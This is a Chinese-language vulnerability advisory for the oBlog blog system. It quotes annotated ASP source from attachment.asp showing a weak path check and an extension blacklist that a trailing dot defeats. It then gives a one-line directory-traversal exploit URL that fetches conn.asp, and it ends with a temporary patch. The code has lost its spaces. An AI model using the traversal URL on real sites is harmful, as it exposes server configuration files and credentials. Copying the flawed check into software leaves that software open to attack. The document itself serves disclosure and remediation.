Path=Trim(Request("path"))'获取用户提交的路径
FileID=Trim(Request("FileID"))
IfFileID=""AndPath=""Then
Response.Write"参数不足"
Response.End
EndIf
...
IfCheckDownLoadOr1=1Then
IfPath=""Then
setrs=Server.CreateObject("ADODB.RecordSet")
link_database
SQL=("selectfile_path,userid,file_ext,ViewNumFROMoblog_upfileWHEREFileID="&CLng(FileID))
rs.opensql,conn,1,3
IfNotrs.EofThen
uid=rs(1)
file_ext=rs(2)
rs("ViewNum")=rs("ViewNum")+1
rs.Update
downloadFileServer.MapPath(rs(0)),0
Else
Response.Status=404
Response.Write"该附件不存在!"
EndIf
rs.Close
Setrs=Nothing
Else
IfInStr(path,Oblog.CacheConfig(56))>0Then'Tr4c3标注：注意这里，仅仅判断用户提交的路径是否包含UploadFiles，为真则调用downloadfile函数下载文件
downloadFileServer.MapPath(Path),1
Endif
EndIf
Else
'如果附件为图片的话，当权限检验无法通过则调用一默认图片，防止<img>标记无法调用，影响显示效果
IfPath=""Then
Response.Status=403
Response.WriteShowDownErr
Response.End
Else
downloadFileServer.MapPath(blogdir&"images/oblog_powered.gif"),1
Endif
Endif
Setoblog=Nothing
SubdownloadFile(strFile,stype)
OnErrorResumeNext
Server.ScriptTimeOut=9999999
DimS,fso,f,intFilelength,strFilename
strFilename=strFile
Response.Clear
Sets=Server.CreateObject(oblog.CacheCompont(2))
s.Open
s.Type=1
Setfso=Server.CreateObject(oblog.CacheCompont(1))
IfNotfso.FileExists(strFilename)Then
Ifstype=0Then
Response.Status=404
Response.Write"该附件已经被删除!"
ExitSub
Else
strFilename=Server.MapPath(blogdir&"images/nopic.gif")
Endif
EndIf
Setf=fso.GetFile(strFilename)
intFilelength=f.size
s.LoadFromFile(strFilename)
IfErrThen
Response.Write("<h1>错误:</h1>"&Err.Description&"<p>")
Response.End
EndIf
Setfso=Nothing
DimData
Data=s.Read
s.Close
Sets=Nothing
DimContentType
selectCaseLCase(Right(strFile,4))
Case".asp",".mdb",".config",".js"'Tr4c3标注：再看这里，想起来什么来了？对了，前几天我发的沸腾展望新闻系统的任意下载漏洞跟这个检查的方法差不多[http://www.tr4c3.com/post/306.html]，利用方法也相似，神奇的"."又派上用场了。
ExitSub
Case".asf"
ContentType="video/x-ms-asf"
Case".avi"
ContentType="video/avi"
Case".doc"
ContentType="application/msword"
Case".zip"
ContentType="application/zip"
Case".xls"
ContentType="application/vnd.ms-excel"
Case".gif"
ContentType="image/gif"
Case".jpg","jpeg"
ContentType="image/jpeg"
Case".wav"
ContentType="audio/wav"
Case".mp3"
ContentType="audio/mpeg3"
Case".mpg","mpeg"
ContentType="video/mpeg"
Case".rtf"
ContentType="application/rtf"
Case".htm","html"
ContentType="text/html"
Case".txt"
ContentType="text/plain"
CaseElse
ContentType="application/octet-stream"
Endselect
IfResponse.IsClientConnectedThen
IfNot(InStr(LCase(f.name),".gif")>0OrInStr(LCase(f.name),".jpg")>0OrInStr(LCase(f.name),".jpeg")>0OrInStr(LCase(f.name),".bmp")>0OrInStr(LCase(f.name),".png")>0)Then
Response.AddHeader"Content-Disposition","attachment;filename="&f.name
EndIf
Response.AddHeader"Content-Length",intFilelength
Response.CharSet="UTF-8"
Response.ContentType=ContentType
Response.BinaryWriteData
Response.Flush
Response.Clear()
EndIf
EndSub
<*参考:
Tr4c3[at]126[dot]com
*>
测试方法:
[警告]
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!
########################################################################
利用方法：
http://www.target.com/attachment.asp?path=UploadFiles/../conn.asp.
########################################################################
建议:
修补建议：
等待官方发布新的补丁程序。
########################################################################
临时解决办法：
将attachment.asp第5行Path=Trim(Request(”path”))改成Path=Replace(Trim(Request(”path”)),”..”,”")
########################################################################